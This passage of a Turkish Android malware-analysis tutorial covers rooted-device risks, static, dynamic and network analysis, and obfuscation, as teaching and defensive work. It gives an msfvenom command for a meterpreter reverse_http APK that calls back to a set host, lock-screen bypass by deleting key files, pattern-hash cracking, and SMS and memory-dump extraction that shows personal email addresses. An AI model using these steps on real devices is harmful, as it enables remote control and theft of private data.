duyurusu gibi yayınlar sistem tarafından yapılan anonslara örnek olarak verilebilir.
  • 42. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Content Providers Uygulamaya ait verilerin diğer uygulamalarla paylaşımını sağlama amacıyla oluşturulmuş bir bileşendir. SQLite database’inde bulunan verilerin başka uygulamalar tarafından sadece okunmasını değil, content provider tarafından izin verilmişse değiştirilebilmesini de sağlar. Uygulama dünyasına ait güvenlik açısından çok önemli bu bilgilerden sonra, her zararlı yazılım analizcisi ya da her zafiyet araştırmacısı gibi sistem mimarisi üzerinde derin bilgi sahibi olmalıyız. Android cihazımızda dosyalama sistemi nasıl çalışmaktadır? Yetki sınıflandırması nasıl olmaktadır? Cihazımızda root olmalı mıyız? Bir zararlı, cihazımıza bulaştıktan sonra neden root yetkilerine sahip olmaya çalışmaktadır? gibi sorulara cevap verebilmek için derin olmasa da temel düzeyde bilgi sahibi olmalıyız. Linux dünyasında oluşturulan her yeni kullanıcı kendisine ait bir User ID (UID) değerine sahiptir. Android dünyasında ise bu durum oluşturulan her yeni uygulama için geçerlidir. Her uygulama ayrı bir kullanıcı gibi hareket eder. Bu sayede izinler kontrol edilir. Kullanıcı davranışı sergileyen her uygulama ancak kendisine ait bölgeye ulaşabilir. Bunu aşabilmek için kernel seviyesinde exploitlere ihtiyaç vardır. Zygote, android cihazlarda oluşturulan ilk process’e denir. Root yetkilerinde çalışır. Android mimarisi, processleri olabildiğince düşük yetkilerde çalıştırma üzerine tasarlanmıştır. Eğer zafiyetli bir process root yetkilerinde çalışıyorsa, cihazın kontrolünü ele geçirebilir. Bu yüzden root yetkisini cihazdaki diğer güvenilmeyen uygulamalara sonradan kazandırmak, cihazın kontrolünü kaybetme riski oluşturmaktadır. SYSTEM yetkisi ise Root ile User arasında yer alır. Root kadar güçlü haklara sahip değildir. /system/xbin dizini içerisinde SU dosyasına ait binary bilgileri bulunmaktadır ve cihazınızı root etmek için birçok yöntem bulunmaktadır. android.permission.READ_LOGS iznine sahip kötü niyetli uygulamalar rootlu cihazlarda diğer uygulamalara ait kritik log bilgilerini elde edebilmektedir. Log bilgilerinin nasıl okunduğu konusu ileride değinilecektir. Telefonumuzu neden root etmememiz gerektiği konusunda kafanızdaki soru işaretlerine cevap bulamadıysanız rootlu bir telefonun kötü niyetli birinin eline geçtiğinde neler yapabildiğine android kilit mimarisini inceleyerek bir uygulama ile beraber bakalım.
  • 43. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama: Kilit Ekranınız Rootlu Telefonunuzda Sizi Koruyor Mu? - Kurmuş olduğumuz Android Emulatörü olan Genymotion’ı başlatıyoruz. - ADB kullanımında emulatörümüzün rootlu bir telefon davranışı sergilediğini, adb ile shell bağlantısı kurduğumuzda “whoami” sorusunu sorduğumuzda root cevabını aldığımızı hatırlıyoruz. - Shell bağlantısı kurduğumuz cihazımızda /data/data, /data/system gibi klasörlerde “root” haklarının sağladığı güç ile gezebiliyoruz. SMS Okunması - Öncelikli olarak telefondaki SMS’ler “telephony” paketi içerisindeki “databases” klasöründe tutulmaktadır. - “/data/data/com.android.providers.telephony/databases” - Paketler içerisindeki shared_prefs klasörleri uygulamaya ait ilk girişte kayıt edilen, tekrar tekrar sorulmasını engelleyen bilgileri içermektedir. - Burayla işimiz olmadığı için databases klasörüne geçiyoruz. - Android cihazlar sqlite3 veritabanını kullanır. Bu bilgiyi edindiğimize göre mmssms.db klasörünü “sqlite3 mmssms.db” komutu ile açıyoruz.
  • 44. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] şekildeki gibi sqlite komut satırı karşımıza geldi. Artık MySQL’de yaptığımız gibi sqlite3 veritabanına ait sorguları yazabiliriz. “.tables” komutu ile veri tabanındaki tablolar listelenmiş, “select * from sms;” komutu ile de SMS tablosundaki bütün mesajlar ekrana bastırılmıştır. Pattern Tespiti Sıradaki konumuz ise ne kadar korunaklı bir patterne sahip olursanız olun bu kilidi kaldırmak “/data/system/gesture.key” dosyasını “adb shell rm /data/system/gesture.key” komutu ile silmek kadar kolay belirtmektir. Durumun ciddiyetini ortaya koyabilme adına bu uygulamamızda kilit ekranını kaldırmak yerine kilit patterninin ne olduğunu nasıl öğreniriz buna bakacağız.
  • 45. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Android cihazlarda kilit patterni 1’den 9’a kadar numaralandırılmış 3x3 şeklindeki 9 adet tuşun, kullanıcının belirlediği kilit permütasyonu şeklinde tutulmaktadır. ------------------- | 0 | | 1 | | 2 | ------------------- | 3 | | 4 | | 5 | ------------------- | 6 | | 7 | | 8 | ------------------- Bu kombinasyon SHA1 ile parola özeti (hash) alınmış şekilde “/data/system/gesture.key” dosyasında bulunmaktadır. Bu işlem yapılırken bir salted (tuzlama) değeri kullanılmadığı ve 3x3 lük bir matrisin toplam oluşturabileceği kilit pattern sayısı belli olduğu için rainbow table adını verdiğimiz tüm ihtimallerin bulunduğu bir tablo oluşturulmuştur. İnternette birçok sitede bulabileceğiniz bu tabloyu; ● http://www.android-forensics.com/tools/AndroidGestureSHA1.rar adresinden indirebilirsiniz. Sıradaki işlemimiz ise daha önce öğrendiğimiz ADB programını kullanarak gesture.key dosyasını cihazdan çıkarmak olacaktır. Tabi bu işlemden önce emulatörünüze pattern kilidi koymayı unutmayınız, yoksa gesture.key bulunamadı hatası verecektir.
  • 46. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] “od -t x1 gesture.key” komutu ile istediğimiz formatta değeri çekebiliyoruz. -t paremetresine “x1” getirerek hexa formatında veriyi almak istediğimizi belirtiyoruz. Elde ettiğimiz değeri internetten bulduğumuz gesture.key rainbow table içerisinde arıyoruz ve kilit ekranının 35428 olduğu sonucuna varıyoruz.
  • 47. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] İnternette otomatik kilit ekranı kırma programları bulabilirsiniz. Biz burada işin teoride nasıl çalıştığından bahsettik. Android cihazlarda parolaların tutulma mantığına gelirsek, pattern kilitlerinden bir miktar farklı olduğunu gözlemleriz. Öncelikle salt değeri kullanılmakta ve parolanın soluna eklenen salt değeri MD5 ve SHA1 hashleri alınıp birleştirilerek “password.key” dosyasında tutulmaktadır. Salt değer ise “locksettings.db” dosyasında bulunmaktadır. şeklinde tutulmaktadır. Eğer ki rootlu telefonunuzda parolayı telefondan kaldırmak istiyorsanız “/data/system” klasörü altında, “rm *.key” yazmanız yeterli olacaktır. root@vbox86p:/data/system # rm *.key Password + Salted Değer Password+ Salted Değer | | SHA1 MD5 | | SHA1SUM + MD5SUM
  • 48. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Statik Analiz Analiz süreci statik, dinamik ve network analizi olmak üzere 3 temel kısımdan oluşmaktadır. Statik analiz olarak tanımladığımız kısım, uygulamanın çalıştırılmaya başlanmadan incelendiği, uygulamanın davranışlarının ön plana alınmadan analizinin yapılmaya çalışıldığı kısmı kapsamaktadır. Bu süreç uygulamanın çalıştırılması için gerekli olan manifest dosyasındaki uygulama izinlerinin incelenmesinden, uygulama içerisindeki kelimeler ve kod parçalarını anlamlandırmaya kadar olan kısmı içerir. Statik analiz kısmına başlarken, statik analiz hakkında ön bilgi almamıza yardımcı olacak apk dosyasını oluşturmak için msfvenom kullanıacağız. Msfvenom payload oluşturmak için kullanılan oldukça kullanışlı bir programdır. Android cihazlara etkisini göstermesi için oluşturulacak apk dosyası, msfvenom ile şu komutla çalıştırılır. sudo msfvenom -p android/meterpreter/reverse_http LHOST=192.168.1.55 LPORT=2727 -o meterpreter.apk LHOST: Bu parametre bağlantı kurulabilmesi için gerekli olan IP adresini temsil eder. LPORT: Bu parametre yine bağlantı kurulabilmesi için açmak istediğiniz portu temsil eder. “android/meterpreter/reverse_http”: Bu parametre ise bir payload çeşididir. Pentest kısmından çok analiz kısmının açıklanmaya çalışıldığı bu dokümentasyonda zaten statik analiz kısmında çalıştırılmayacak olan bu kısım daha fazla ayrıntıya girilmeden uygulama kısmına geçilecektir. Görüldüğü üzere “meterpreter.apk” dosyası android cihazlar için çalıştırılabilir bir uygulama haline bürünmüş gibi gözükmektedir. Şimdi emulatörümüze sürükle bırak yaparak kurmayı deneyeceğiz.
  • 49. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şekilde görüldüğü gibi bir hata ile karşılaştık. İlgili hatada bize apk uygulamasının bir sertifikasının olmadığını, yani imzalanmadığını söylüyor. Android Mimarisi konu başlığında anlatıldığı üzere bir apk dosyasının kurulabilmesi için imzalanmış olması gerekiyor gerekiyor. Bunun için önce imza oluşturup daha sonra bu imza ile oluşturulan meterpreter.apk dosyası imzalanmalıdır. İmza dosyası oluşturmak için; keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 - validity 10000 komutu kullanılır. Oluşturulacak key dosyası için bir parola belirlememizi ve dosya bilgileri için bize ait bilgiler sormaktadır. İstenilen cevaplar verildikten sonra my-release-key.keystore dosyası oluşur. Bu imza dosyası ile apk uzantılı dosyayı imzalamak için ise; jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore meterpreter.apk alias_name komutu kullanılır.
  • 50. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şimdi başarılı bir şekilde imzalanan apk dosyasını tekrar emulatörümüze atmayı deneyeceğiz. Şekilde görüldüğü gibi uygulamamız “MainActivity” ismiyle kurulmuş bulunmaktadır. Çalıştırıldığı takdirde kötü niyetli kişinin kurbanı olmuş, meterpreter oturumu ile telefonunun uzaktan kontrolünü karşı tarafa vermiştir.
  • 51. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şimdi kurulumu tamamlanan program çalıştırılmadan, bu bölümde üzerinde durulacak olan statik analiz kısmıyla ilgilenilecektir. Analiz işlemine başlanırken ilk olarak “manifest” dosyasındaki uygulamanın sahip olduğu izinlere bakılarak uygulama için gerekli olan izinlerden fazlası isteniliyor mu sorusu için analiz yapılır. Daha önce öğrenilmiş olan “apktool” programı ile “apk” dosyası decompiler edilir. “AndroidManifest.xml” dosyası herhangi bir metin editörü kullanılarak açılır.
  • 52. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şekildeki bilgiler ile uygulamamızın; - İnternet erişimi - Wi-Fi ağına ulaşım hakkı - Network bilgisine ulaşım hakkı - Telefon görüşmelerini okuma hakkı - Mesaj yollama hakkı - Gelen kısa mesajları otomatik cevaplama hakkı, - Ses kaydı yapma hakkı - Telefon araması yapma hakkı - Rehberi okuma hakkı - Rehbere yeni kişi yazma hakkı
  • 53. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Ayarları değiştirme hakkı - SD karta dosya yazma hakkı - Duvar kağıdını değiştirme hakkı - Kamerayı açma hakkı - Mikrofonu açma hakkı gibi yetkilere izin istediği görülmektedir. Fiziksel olarak telefonu birine vermekten farksız olan birçok izni onaylayarak sanal ortamda bir başkasına vermeye rıza gösteriyor ve uygulamanın kötü niyetli olduğundan şüphelenmiyor musunuz? Ayrıca “manifest” dosyası içerisindeki bilgilerden uygulamanın başladığı activity ismi ve uygulama ismi analiz edilebilir. Sıradaki işlemde apktool ile decompiler edilmiş olan uygulamamızın assembly kod karşılığı olan “smali” kodları incelenir. Smali dosyaları “/meterpreter/smali/com/metasploit/stage/” dizininde yer almaktadır. Yukarıdaki ekran görüntüsünde smali dosyalarına dönüşmüş class isimlerini gözlemleyebiliyoruz. İsmi payload ile başlayan class ismi bile uygulama hakkında kötü düşünceler beslememize neden olabilmektedir. Buradaki R.class dosyaları ile bir işimiz olmayacaktır. Çünkü o dosyalar Android Studio’da uygulama geliştirirken string değerlerinin tutulduğu yapılardır.
  • 54. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] “MainBroadcast Receiver” dosyası ise android mimarisinde bahsettiğimiz “App Components” başlığı altında geçen Activities, Services, Content Providers’ lar gibi temel yapılardan biri olup, uygulamanın bir broadcast yayınına receive yapmasını sağlayan receiver classını oluşturmaktadır. Yorumlanması smali kod yazmayı ve okumayı bilmeyen kişiler için çok zor olan smali kodlarına göz gezdirilir. Kodunun anlaşılması için oldukça zor olan smali dosyaları içerisindeki; - currentDir - currentTime - payloadStart gibi stringlerin varlığını gözlemliyoruz ve dosya statik analizine kaldığımız yerden daha önce öğrendiğimiz “Androguard” programı ile devam ediyoruz. - Uygulamamızı “androlyze -s” komutu ile başlatabiliriz.
  • 55. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Paket ismi, main activity ismi, class isimlerinin listelendiği programda apk içerisindeki metot isimlerini listeleyerek inceleyebiliriz.
  • 56. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Metot isimlerinde ulaşılamayan, apk dosyasında geçen stringleri “d.get_strings()” komutu ile listeleyerek inceleyebiliriz. - Uzayan string listesinde 10.38.67.2 IP adresi dikkat çekmektedir. - Uygulamamızı oluştururken meterpreter oluşturmak amacıyla girmiş olduğumuz IP adresiyle aynı olan bu değer analizde fark edilmektedir. - Sıradaki işlemde smali kodlarından yorumlanmakta güçlük çekilen uygulamanın Java kodları görülecektir. - Daha önceden açıklanmış olan “Dex2Jar” programı kullanılarak, “./d2j-dex2jar.sh meterpreter.apk” komutuyla apk içerisindeki .dex uzantılı dosyaları .jar uzantılı dosyalara çevirilecektir. - “java -jar jd-gui-1.4.0.jar” komutu ile başlatılan JD-GUI programına .jar uzantılı dosya sürükle bırak yapılarak .jar dosyaları java uzantılı classlara decompiler edilecektir. - Ardından kodlar incelenebilir.
  • 57. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - “Manifest” dosyası ve Androguard programından yapılan gözlemleme ile başlangıç activitysi olan MainActivity.class incelendiğinde burada mainactivity programında bir view yani uygulama için arayüz oluşturulmadığı gözlemlenir. - Son olarak uygulamanın StartService komutu ile bir service başlattığı ve bunun isminin MainService olduğu sonucuna ulaşılır. Service yapısının uygulama arka planda dururken çalışmasını sağlayan bir app component olduğu, App Components başlığı altında çok önemli olduğunu belirtmiştik. - Çalıştırılan MainService incelenir. - Mainservice içerisinde arka planda payload clasının start fonksiyonu çağrılır. - Payload Class’ı incelenir.
  • 58. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Genel bir kod taramasından sonra başlatılan “start fonksiyonu” bulunarak ne yaptığı incelenir. - “startInPath” fonksiyonunun “filesdirectory” parametresi ile çağrıldığı gözlemlenir. - “startAsync” fonksiyonu bulunur.
  • 59. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Thread oluşturarak Payload Class’ı içerisindeki “main metodunun” çağrıldığı gözlemlenir. - Bu aşamada main metodu incelenmeye başlanır. - Gerçekleştirilen işlemlerden sonra TCP mi HTTP mi bağlantısı yapılacağına karar verilerek ilgili fonksiyon çağırılır.
  • 60. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Eğer TCP bağlantısı kurulacaksa URL adresinin split fonksiyonları ile parse edildiği ve socket bağlantısı oluşturulduğu gözlemlenir. - Yapılan bu uygulamada statik kod analizi kısmında kod okuma yeteneğinin analizde ne kadar başarılı olacağınız ile doğru orantılı olduğu sonucuna ulaşılır. Şimdi gerçek dünyadan, herkesin karşısına çıkan uygulamaları incelemeye devam edeceğiz; - “towelroot.apk” adında bir apk indirilir. - Androguard programı ile uygulamanın sahip olduğu izinler ve paket ismi incelenir. - Sadece internet izniyle çalışan programın, uygulama içerisinde izinleri değiştirip değiştirmediğinden şüphelenilerek strings değerlerine bakılır.
  • 61. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Execute, exploit, fingerprint, httppost gibi stringlerden şüphelenilerek activityler incelenir. - Tek activityden oluşan program Dex2Jar ve JD-GUI programları kullanılarak java koduna decompiler edilir.
  • 62. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - javaSuckAssReadTheKernelVersion, exploit, rootTheShit gibi değişik isimlendirmeyle yazılmış olan java kodunun incelenmesi sonucu, pratikde kullanıcı adına hiçbir şey yapmayı amaçlamadığı sonucuna ulaşılır. Obfuscation Uygulamalar her zaman statik analiz aşamasında yaptığımız gibi açık ve anlaşılabilir olmaz. İnsanların uygulamaların yorumlamasını güçlendirmek, kod analizi yapmasına olabildiğince engel olmak için kod karmaşıklaştırma tekniklerine başvurulur. Bu teknikler sayesinde decompiler işlemi sonucu uygulamanın kaynak kodunun elde edilmesinin önüne geçilmesi amaçlanır. Örnek olarak aşağıda C dilinde yazılmış bir obfuscated kod örneği verilmiştir.
  • 63. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] JavaScript dilinde yazılmış bir obfuscated kod örneği aşağıda verilmiştir. Android programlar native dil olarak Java programlama dili kullanılarak yazılır. Bu yüzden android programlar için kullanılan obfuscation teknikleri arasında en popüler olanı Java dili için kullanılan popüler obfuscation aracı olan “Proguard” dır. Proguard obfuscation uygularken aynı zamanda apk boyutunu küçülterek, gereksiz kısımların varlığına son vermektedir. Peki proguard nasıl kullanılmakta ve tam olarak nasıl bir obfuscation tekniği uygulamaktadır? Aşağıda proguard programı kullanılmış bir android programının Dex2Jar programı ile .jar dosyasına çevrilmiş halinin JD-GUI altında decompiler edilmiş ekran görüntüsü verilmiştir.
  • 64. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Statik analiz kısmında incelediğimiz programlardan farklı olarak class isimleri, fonksiyon isimleri ve variable değerleri bizler için anlamsız alfabetik harflerden oluşmaktadır. Aynı zamanda Dex2Jar programı ile oluşturulan string değerlerinin tutulduğu “R.class” dosyası oluşturulamamıştır. Apk boyutunun küçülmesi ile de analizinin yapılması zorlaştırılmıştır. Proguard programı Android Studio içerisine gömülü olarak gelmektedir. Harici olarak indirilmeye gerek duyulmayan bu özelliği uygulama geliştiricilerinin aktif hale getirmesi için build.grandle içerisindeki minifyEnabled değerini true yapması yeterlidir. Peki obfuscation yöntemiyle oluşturulmuş ve reverse edilmeye çalışılan apk dosyasındaki “id” değerlerinin karşılığı nasıl öğrenilir? R.class dosyası içerisinde olmayan id değerlerinin neye karşılık geldiğini öğrenmek için şu yöntem izlenir; - Öncelikle JD-GUI programı ile incelediğimiz programda öğrenilmek istenen “id” değeri belirlenir. - Şekil üzerinde “getString” metodu içerisindeki “2131165195” değerinin neye karşılık geldiği öğrenilmek istenmektedir. ,
  • 65. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Bunun için öncelikle decimal olarak belirlenen bu değer hexadecimal formata çevrilmelidir. - 7F07000B değeri daha sonra kullanılmak üzere not alınır. Sıradaki işlemde daha önceden öğrenilmiş olan apktool yardımıyla apk dosyamız decompiler edilir. - Decompiler edilmiş apk klasörü açılarak “/res/values” altındaki “public.xml” dosyası açılır. - “public.xml” dosyası içerisinde not etmiş olduğumuz 7F07000B hexadecimal değeri aratılır.
  • 66. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - “7F07000B” değerine karşılık gelen type ve name değeri not alınarak public.xml dosyası kapatılır. - Ekran görüntüsünde görüldüğü üzere “7F07000B” değerine karşılık gelen type “string” name ise “bSKbJypbBf” değeridir. - type kelimesine karşılık gelen değer “string” olduğu için “/res/values/” dizinindeki “strings.xml” dosyası açılır. - “strings.xml” dosyasında name=”bSKbJypbBf” ‘a karşılık gelen değer bulunur.
  • 67. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Sonuç olarak JD-GUI programımızın reverse edemediği “2131165195” değerinin bir string type olduğu ve “180B525C72417B49C3E1FB9707470F8C9194F1FF996A” ‘ya karşılık geldiği sonucuna ulaşılır.
  • 68. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Dinamik Analiz ve Network Analizi Uygulamanın çalışması esnasında davranışlarını inceleyerek yapılan analiz çeşidine dinamik analiz denir. Dinamik analiz içerisine debugger (hata ayıklayıcılar) ’lar yardımıyla çalışır durumdaki uygulamanın kodunda meydana gelen değişikliklerinin incelenmesi de dahildir. Çalışır durumdaki uygulamanın kod akışından, cihaz üzerinde yaptığı, yapmaya çalıştığı davranışların tamamı dinamik analize dahildir. Uygulamanın ağ içerisinde yaptığı istekler, iletişimler, değişiklikler ise network analizi dediğimiz alana girmektedir. Çeşitli programlar yardımıyla, genellikle uygulamanın çalışır durumda olduğu sırada ortaya konulan bu davranışlar; analizcinin, uygulamanın çalışma şeklini ve davranışlarını ortaya koymasında yardımcı olmaktadırlar. Dinamik analiz şu amaçlar için kullanılır: ● Uygulamanın run time yani çalışma esnasında yaptığı davranışları incelemek ● Uygulamaya dair zafiyet keşfinde bulunmak. ● Uygulamanın işleyişini değiştirerek, istediğimiz sonuca ulaşmak. Kaynak kodunu bilinen android uygulamalar için Android Studio debug modu ile kullanabilmektedir. Bunun için debug sembolleri belirlenen uygulamayı cihazımızda başlatmak için şu sembole tıklarız. Android Studio’nun alt tarafında yer alan Debug bölümünde ise debug işleminin başladığını görmekteyiz.
  • 69. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Log Analizi Sıradaki özellik ise android log kayıtlarını görmemizi sağlayan “Logcat” ekranıdır. Android Studio üzerinde aşağıda yer alan bu ekran şu şekilde gözükmektedir. Bütün android log kayıtlarını gözlemlemek yerine, “No Debuggable Processes” yazan yerden istenilen uygulamanın spesifik olarak log kayıtları görüntülenebilmektedir.
  • 70. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Logcat ekranı terminal ekranından “adb shell logcat” komutu ile başlatılabilmektedir. Birden fazla uygulama yerine tek bir uygulamanın log kayıtlarını görüntülemek için uygun regex komutları yazabilirsiniz. Aşağıdaki ekran görüntüsünde görüldüğü gibi id değeri bulunan “settings” yani ayarlar paketinin logcate’ e düşen log kayıtları görüntülenmektedir. “android.permission.READ_LOGS” iznine sahip kötü niyetli uygulamalar rootlu cihazlarda diğer uygulamalara ait kritik log bilgilerini elde edebilmektedir. Android Device Monitor bahsetmiş olduğumuz toolları içinde barındırarak uygulamaların dinamik analizi hakkında detaylı bilgiler almamızı sağlamaktadır.
  • 71. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] “Tools- Android - Android Device Monitor” yolunu kullanarak ulaşabileceğiniz ADM’ ye ait ekran görüntüsü aşağıda verilmiştir. Sol tarafta processler, sağ tarafta dosya yönetim alanı ve aşağıda az önce öğrenilmiş olan logcat ekranı bulunmaktadır.
  • 72. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Memory Analizi ADM kullanılarak çalışan bir process’in memory dökümü alınabilmektedir. Memory dökümü alınacak uygulama çalışır durumda olmalıdır. Zararlı yazılım analizinde kullanılan çok önemli yöntemlerden biri olan bellek inceleme işlemi, dump’ı alınmış uygulamaların çeşitli programlar yardımıyla incelenme işlemidir. ADM kullanılarak android bir cihazdaki uygulamanın bellek dökümünü almak için çalışan process seçilerek aşağıdaki ekran görüntüsünde görüldüğü gibi HPROF formatında dump alınabilir. Yukarıdaki ekran görüntüsünde görüldüğü üzere com.android.email uygulaması seçilerek imlecin gösterdiği ilgili Dump butonuna tıklanır. Daha sonra .hprof formatında dosya istenilen herhangi bir klasöre kaydedilir.
  • 73. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] İlgili dizine gidilerek terminal ekranında “sudo strings com.android.email.hprof > ay.txt” komutu uygulanarak hprof formatındaki dump dosyasında geçen string değerleri ay.txt dosyası oluşturularak yazılır. Daha sonra ay.txt dosyası açılarak “@gmail.com” araması yapılır.
  • 74. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şekil incelendiğinde dumpını aldığımız mail uygulamasıyla Mucahid isimli “m3o.e.cey@gmail.com” kullanıcısından “Aysenurk-------@gmail.com” kullanıcısına “Yagmur” konu başlıklı bir mail atıldığı görülmektedir. Yukarıda verilen ekran görüntüsünde encode edilmiş şekilde bulunan; U2V2bWVrIGRhaW1hIGJlcmFiZXIgb2xtYWsgZGVnaWwsIHNlbnNpemtlbiBiaWxlIHNlbmluIG9sYWJp bG1la3Rpci4u metni base64 decoder yardımıyla ya da şekildeki gibi python gibi bir programlama dili kullanılarak decode edilerek mail içeriğine de ulaşılmış olur.
  • 75. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama Sıradaki uygulama APP COMPONENTS başlığı altında üzerinde durulan “activity” yapısını anlatmaktadır. Bir uygulama activity yapıları sayesinde uygulama içerisindeki sayfa geçişlerini sağlar. Şekildeki uygulama “mainChecker” adında test ortamı için geliştirilmiş bir uygulamadır. Uygulama öğretilmiş olan Androguard programı kullanılarak, apk dosyasının paket ismi ve activity isimeri analiz edilir.
  • 76. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Adb programı kullanılarak; ./adb shell am start com.anil.eventchecker/com.anil.eventchecker.admin_paneli komutu kullanılır ve admin_paneli activity’si doğrudan açılmaya çalışılır. Böylelikle program MainActivity classını çağırmadan parola sorulan ekranı geçerek direk admin panelinin olduğu activity’i çalıştırır.
  • 77. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama geliştiricileri bu problemi aşmak için şu yöntemlere başvurmaktadırlar; - Sunucudan gelen parola giriş bilgisinin kontrolünü MainActivity’de değil ilgili activityde yaparlar. ya da - MainActivity’de rastgele bir değer oluşturarak, ilgili activity’de bunun kontrolünü yaparlar. Network Analizi Bu bölüm, uygulamanın dış dünyayla kurmaya çalıştığı etkileşimi ve başarılı olduğu durumda ağ içerisindeki diğer cihazlarla ilişkisini analiz etmeyi amaçlar. Bir uygulamanın network içerisindeki davranışını analiz etmek içinse wireshark, tcpdump, burpsuite gibi araçlar kullanılabilir. “~/Android/Sdk/emulator” dizini altında “sudo ./emulator -avd BGAEmulator” komutu ile Android Emulator başlatılır. Tcpdump binary dosyaları adb programı kullanılarak şekildeki gibi cihazın /data/local/tmp dizinine yazılır. Bu işlemi gerçekleştirmek için bulunulan dizine tcpdump binary dosyalarının indirilmesi gerektiği unutulmamalıdır. Bunun için ilgili paket;
  • 78. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] ● http://www.androidtcpdump.com/android-tcpdump/downloads linkinden indirilebilmektedir. “./adb shell” komutu ile cihazdan shell alınarak “cd /data/local/tmp” komutu ile tcpdump’ı yüklediğimiz dizine gidilir. “ls -l tcpdump” komutunu uygulayarak yüklemiş olduğumuz tcpdump binary dosyasında executable (yürütme) izninin olmadığı gözlemlenir. “chmod 755 tcpdump” komutu ile tcpdump programına execute yetkisi verilir. Executable olan tcpdump dosyası artık çalıştırılabilir. Bunun için şu komut kullanılır.; ./tcpdump -v -s 0 -w packets.pcap Eğer yukarıdaki gibi değil de aşağıdaki gibi bir çıktı alırsanız bu durum kurmuş olduğunuz tcpdump binary dosyasının yanlış olduğu gösterir. İlgili dosyayının doğrusunu yeniden kurabilir ya da Genymotion veya Android Studio ile gelen Busybox aracını kullanarak tcpdump programını başlatabilirsiniz.
  • 79. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Android Studio ile Tcpdump Emulator ekranı terminal üzerinden çalıştırılırken “-tcpdump output.cap” komutu eklenir. Genymotion ile Tcpdump Genymotion emulatoru çalıştırıldıktan sonra shell alınarak “cd /system/xbin” komutu ile xbin dizinine gidilir. “./tcpdump” komutu ile tcpdump aracı çalıştırılır. Uygulama - “./emulator -tcpdump emulator.cap -avd BGAEmulator” komutu ile android emulator çalıştırılır. - Cihazın çalışması Ctrl+c tuş kombinasyonu ile sonlandırılır. - Oluşturulmuş olan emulator.cap dosyası “wireshark emulator.cap” komutu ile açılılır. - Cihazın kurmuş olduğu network bağlantıları wireshark kullanılarak analiz edilir. - Statik analiz aşamasında incelediğimiz ama çalıştırmadığımız meterpreter.apk uygulamasına basılarak ADM’daki network trafiğindeki hareketlilik görüntülenebilir.
  • 80. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Aşağıda verilen ekran görüntüsünde logcat ekranı “adb shell logcat” komutu ile incelenmiş ve kurulmaya çalışılan bağlantı “Can’t connect” hatası ile defalarca tekrarlamıştır. - Droidbox uygulaması ile uygulamanın cihaz üzerinde ne gibi değişiklikler yaptığı ve log kayıtları görüntülenebilir.
